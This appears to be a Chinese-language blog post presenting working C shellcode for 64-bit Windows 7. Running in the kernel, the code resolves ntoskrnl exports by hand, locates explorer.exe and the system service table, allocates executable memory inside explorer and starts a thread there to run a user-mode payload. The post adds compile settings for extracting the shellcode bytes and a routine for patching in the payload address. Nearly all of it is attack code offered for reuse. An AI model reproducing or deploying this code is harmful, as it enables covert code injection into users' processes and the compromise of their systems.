内核通用Shellcode

  • 内容
  • 评论
  • 相关

已在Win7x64实验通过,其他系统需要自行修改偏移。

大体思路是一致的。

实现了从环0注入shllcode到环3进程的操作。

如果需要把这段shellcode拷贝字节码出来运行的话:

需要关闭以下编译选项:

  • C/C++ -> 代码生成: 禁用安全检查 (/GS-)
  • 链接 -> 常规 -> 启用增量链接: 否

核心代码:

VOID Shellcode()
{
    //寻找ntoskernel基址
    PUCHAR pIdtBase = __readgsqword(0x38);
    ULONG_PTR FuncBase = *(PULONG_PTR)(pIdtBase + 4);
    FuncBase = FuncBase >> 12;
    FuncBase = FuncBase << 12;
    PUCHAR pNtBase = NULL;

    while (TRUE)
    {
        FuncBase -= 0x1000;
        WORD Head = *((WORD *)FuncBase);
        if (Head == 0x5A4D)
        {
            pNtBase = (PUCHAR)FuncBase;
            break;
        }
    }

    //解析导出表
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pNtBase;
    PIMAGE_NT_HEADERS64 pNtHdrs = (PIMAGE_NT_HEADERS)((PCHAR)pNtBase + pDosHeader->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)
        ((PCHAR)pNtBase + pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    LPDWORD pNameArray = (LPDWORD)((PCHAR)pNtBase + pExportDir->AddressOfNames);
    LPDWORD pAddrArray = (LPDWORD)((PCHAR)pNtBase + pExportDir->AddressOfFunctions);
    LPWORD pOrdArray = (LPWORD)((PCHAR)pNtBase + pExportDir->AddressOfNameOrdinals);

    CHAR strPsGetCurrentProcess[] = { 'P', 's', 'G', 'e', 't', 'C', 'u', 'r','r','e','n','t','P','r','o','c','e','s','s',0x0 };
    CHAR strPsGetProcessImageFileName[] = { 'P', 's', 'G', 'e', 't', 'P', 'r', 'o','c','e','s','s','I','m','a','g','e','F','i','l','e','N','a','m','e',0x0 };
    CHAR strKeStackAttachProcess[] = { 'K', 'e', 'S', 't', 'a', 'c', 'k', 'A','t','t','a','c','h','P','r','o','c','e','s','s',0x0 };
    CHAR strKeUnstackDetachProcess[] = { 'K', 'e', 'U', 'n', 's', 't', 'a', 'c', 'k', 'D','e','t','a','c','h','P','r','o','c','e','s','s',0x0 };
    CHAR strZwAllocateVirtualMemory[] = { 'Z', 'w', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 0x0 };

    pfPsGetCurrentProcess pfnPsGetCurrentProcess = NULL;
    pfPsGetProcessImageFileName pfnPsGetProcessImageFileName = NULL;
    pfKeStackAttachProcess pfnKeStackAttachProcess = NULL;
    pfKeUnstackDetachProcess pfnKeUnstackDetachProcess = NULL;
    pfZwAllocateVirtualMemory pfnZwAllocateVirtualMemory = NULL;
    pfExAllocatePool pfnExAllocatePool = NULL;
    for (ULONG i = 0; i < pExportDir->NumberOfNames; i++)
    {
        if (pfnPsGetCurrentProcess != NULL && 
            pfnPsGetProcessImageFileName != NULL &&
            pfnKeStackAttachProcess != NULL &&
            pfnKeUnstackDetachProcess != NULL &&
            pfnZwAllocateVirtualMemory != NULL)
        {
            break;
        }
        PCHAR pFuncName = (PCHAR)((PCHAR)pNtBase + pNameArray[i]);

        BOOL bCampareSuccessed = TRUE;
        for (DWORD j = 0; j < sizeof(strPsGetCurrentProcess); j++)
        {
            if (pFuncName[j] != strPsGetCurrentProcess[j])
            {
                bCampareSuccessed = FALSE;
                break;
            }
            if (pFuncName[j] == 0x0)
            {
                break;
            }
        }
        if (bCampareSuccessed)
        {
            pfnPsGetCurrentProcess = (pfPsGetCurrentProcess)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);
            continue;
        }

        bCampareSuccessed = TRUE;
        for (DWORD j = 0; j < sizeof(strPsGetProcessImageFileName); j++)
        {
            if (pFuncName[j] != strPsGetProcessImageFileName[j])
            {
                bCampareSuccessed = FALSE;
                break;
            }
            if (pFuncName[j] == 0x0)
            {
                break;
            }
        }
        if (bCampareSuccessed)
        {
            pfnPsGetProcessImageFileName = (pfPsGetProcessImageFileName)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);
            continue;
        }

        bCampareSuccessed = TRUE;
        for (DWORD j = 0; j < sizeof(strKeStackAttachProcess); j++)
        {
            if (pFuncName[j] != strKeStackAttachProcess[j])
            {
                bCampareSuccessed = FALSE;
                break;
            }
            if (pFuncName[j] == 0x0)
            {
                break;
            }
        }
        if (bCampareSuccessed)
        {
            pfnKeStackAttachProcess = (pfKeStackAttachProcess)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);
            continue;
        }

        bCampareSuccessed = TRUE;
        for (DWORD j = 0; j < sizeof(strKeUnstackDetachProcess); j++)
        {
            if (pFuncName[j] != strKeUnstackDetachProcess[j])
            {
                bCampareSuccessed = FALSE;
                break;
            }
            if (pFuncName[j] == 0x0)
            {
                break;
            }
        }
        if (bCampareSuccessed)
        {
            pfnKeUnstackDetachProcess = (pfKeUnstackDetachProcess)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);
            continue;
        }

        bCampareSuccessed = TRUE;
        for (DWORD j = 0; j < sizeof(strZwAllocateVirtualMemory); j++)
        {
            if (pFuncName[j] != strZwAllocateVirtualMemory[j])
            {
                bCampareSuccessed = FALSE;
                break;
            }
            if (pFuncName[j] == 0x0)
            {
                break;
            }
        }
        if (bCampareSuccessed)
        {
            pfnZwAllocateVirtualMemory = (pfZwAllocateVirtualMemory)((PCHAR)pNtBase + pAddrArray[pOrdArray[i]]);
            continue;
        }
    }

    //寻找explorer进程
    CHAR strExplorer_exe[] = { 'e', 'x', 'p', 'l', 'o', 'r', 'e', 'r','.','e','x','e',0x0 };

    PEPROCESS Process = pfnPsGetCurrentProcess();
    PEPROCESS ProcessExplorer = NULL;
    PLIST_ENTRY ListNode = (PLIST_ENTRY)((PCHAR)Process + off_EPROCESS_ActiveLinks);
    UINT Count = 0;
    do
    {
        Process = (PEPROCESS)((PCHAR)ListNode - off_EPROCESS_ActiveLinks);
        ListNode = ListNode->Blink;
        LPCSTR ImageName =(LPCSTR)pfnPsGetProcessImageFileName(Process);

        BOOL bCampareSuccessed = TRUE;
        for (DWORD j = 0; j < sizeof(strExplorer_exe) + 1; j++)
        {
            if (ImageName[j] != strExplorer_exe[j])
            {
                bCampareSuccessed = FALSE;
                break;
            }
            if (ImageName[j] == 0x0)
            {
                break;
            }
        }
        if (bCampareSuccessed)
        {
            ProcessExplorer = Process;
            break;
        }
    } while (Count++ < 0x100);

    if (ProcessExplorer == NULL)
    {
        return;
    }

    // Find SSDT表基址
    PKSERVICE_TABLE_DESCRIPTOR ServiceTable = NULL;
    PUCHAR      KiSystemCall64 = (PUCHAR)__readmsr(0xC0000082);
    PUCHAR      i = NULL;
    ULONG_PTR   Offset = 0x00;
    for (i = KiSystemCall64; i < KiSystemCall64 + 0x500; i++)
    {
        if (*(i + 0) == 0x4c &&
            *(i + 1) == 0x8d &&
            *(i + 2) == 0x15)
        {
            PULONG32 pValue = (PULONG32)(i + 3);
            Offset = *pValue;
            ServiceTable = (PVOID)(Offset + (ULONG_PTR)i + 7);
            break;
        }
    }
    if (ServiceTable == NULL)
    {
        return;
    }

    pfNtCreateThreadEx pfnNtCreateThreadEx = (pfNtCreateThreadEx)((LONG_PTR)ServiceTable->Base + ((LONG_PTR)(ServiceTable->Base)[0xA5] >> 4));;
    if (pfnNtCreateThreadEx == NULL)
    {
        return;
    }

    //开始注入
    CHAR ApcState[100] = { 0 };
    pfnKeStackAttachProcess(ProcessExplorer, &ApcState);

    SIZE_T RegionSize = 0x1000;
    PUCHAR BaseAddr = (PUCHAR)NULL;
    NTSTATUS Status = pfnZwAllocateVirtualMemory(
        -1,
        &BaseAddr,
        0x00,
        &RegionSize,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );

    if (BaseAddr != NULL)
    {
        for (DWORD i = 0; i < RegionSize; i++)
        {
            //0x1122334455667788 替换成你自己的用户态Shellcode地址
            //BaseAddr[i] = ((PUCHAR)(0x1122334455667788))[i];
        }

        HANDLE ThreadHandle = NULL;
        pfnNtCreateThreadEx(&ThreadHandle, THREAD_ALL_ACCESS,
            NULL,
            -1,
            (PVOID)BaseAddr,
            (PVOID)NULL,
            FALSE,
            0x00, 0x00, 0x00,
            NULL
        );
    }
    pfnKeUnstackDetachProcess(&ApcState);
}
VOID ShellcodeEnd()
{
    KdPrint(("ShellcodeEnd\n"));
}

头文件:

typedef unsigned long       DWORD;
typedef unsigned short      WORD;
typedef unsigned char       BYTE;
typedef DWORD               *LPDWORD;
typedef WORD                *LPWORD;
typedef unsigned int        UINT;
typedef __int64 INT_PTR, *PINT_PTR;
typedef int                 BOOL;

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
typedef struct _IMAGE_OPTIONAL_HEADER64 {
    WORD        Magic;
    BYTE        MajorLinkerVersion;
    BYTE        MinorLinkerVersion;
    DWORD       SizeOfCode;
    DWORD       SizeOfInitializedData;
    DWORD       SizeOfUninitializedData;
    DWORD       AddressOfEntryPoint;
    DWORD       BaseOfCode;
    ULONGLONG   ImageBase;
    DWORD       SectionAlignment;
    DWORD       FileAlignment;
    WORD        MajorOperatingSystemVersion;
    WORD        MinorOperatingSystemVersion;
    WORD        MajorImageVersion;
    WORD        MinorImageVersion;
    WORD        MajorSubsystemVersion;
    WORD        MinorSubsystemVersion;
    DWORD       Win32VersionValue;
    DWORD       SizeOfImage;
    DWORD       SizeOfHeaders;
    DWORD       CheckSum;
    WORD        Subsystem;
    WORD        DllCharacteristics;
    ULONGLONG   SizeOfStackReserve;
    ULONGLONG   SizeOfStackCommit;
    ULONGLONG   SizeOfHeapReserve;
    ULONGLONG   SizeOfHeapCommit;
    DWORD       LoaderFlags;
    DWORD       NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
typedef struct _IMAGE_NT_HEADERS64 {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;

typedef struct _KSERVICE_TABLE_DESCRIPTOR {
    PLONG32    Base;
    PULONG32   Count;
    ULONG_PTR  Limit;
    PUCHAR     Number;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory

typedef UINT(NTAPI *fnWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);

typedef
PEPROCESS
(NTAPI *pfPsGetCurrentProcess)(
    VOID
    );

typedef
PUCHAR
(NTAPI *pfPsGetProcessImageFileName) (
    IN PEPROCESS
    );

typedef
VOID
(NTAPI *pfKeStackAttachProcess)(
    _Inout_ PRKPROCESS PROCESS,
    _Out_ PVOID ApcState
);
typedef
VOID
(NTAPI *pfKeUnstackDetachProcess)(
    _In_ PVOID ApcState
);
typedef
NTSTATUS
(NTAPI *pfZwAllocateVirtualMemory)(
    _In_ HANDLE ProcessHandle,
    _Inout_ PVOID *BaseAddress,
    _In_ ULONG_PTR ZeroBits,
    _Inout_ PSIZE_T RegionSize,
    _In_ ULONG AllocationType,
    _In_ ULONG Protect
);

typedef
VOID
(NTAPI *pfKenelShellcode)(
    VOID
    );

#define off_EPROCESS_ActiveLinks   0x188

使用方法:

类似于

    PUCHAR pBuf = (PUCHAR)pfnKenelShellcode;
    for (ULONG i = 0; i < sizeof(Shellcode) - sizeof(ULONG64); i++)
    {
        PULONG64 pValue = (PULONG64)(pBuf + i);
        if (*pValue == 0x1122334455667788)
        {
            *pValue = (ULONG64)ShellcodeUserAddr;
            break;
        }
    }
    pfnKenelShellcodeCopy();

或者直接用驱动调试:

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
    KdPrint(("DriverEntry..\n"));

    Shellcode();
    return STATUS_SUCCESS;
}

效果:

image

这里并没有写入用户态shellcode,执行用户态地址的时候,会导致explorer奔溃,但已经代表注入操作已经成功了。

如果用户态shellcode正常则不会有这个问题。

用户态shellcode可以参考我的另一篇博客《环三通用Shellcode》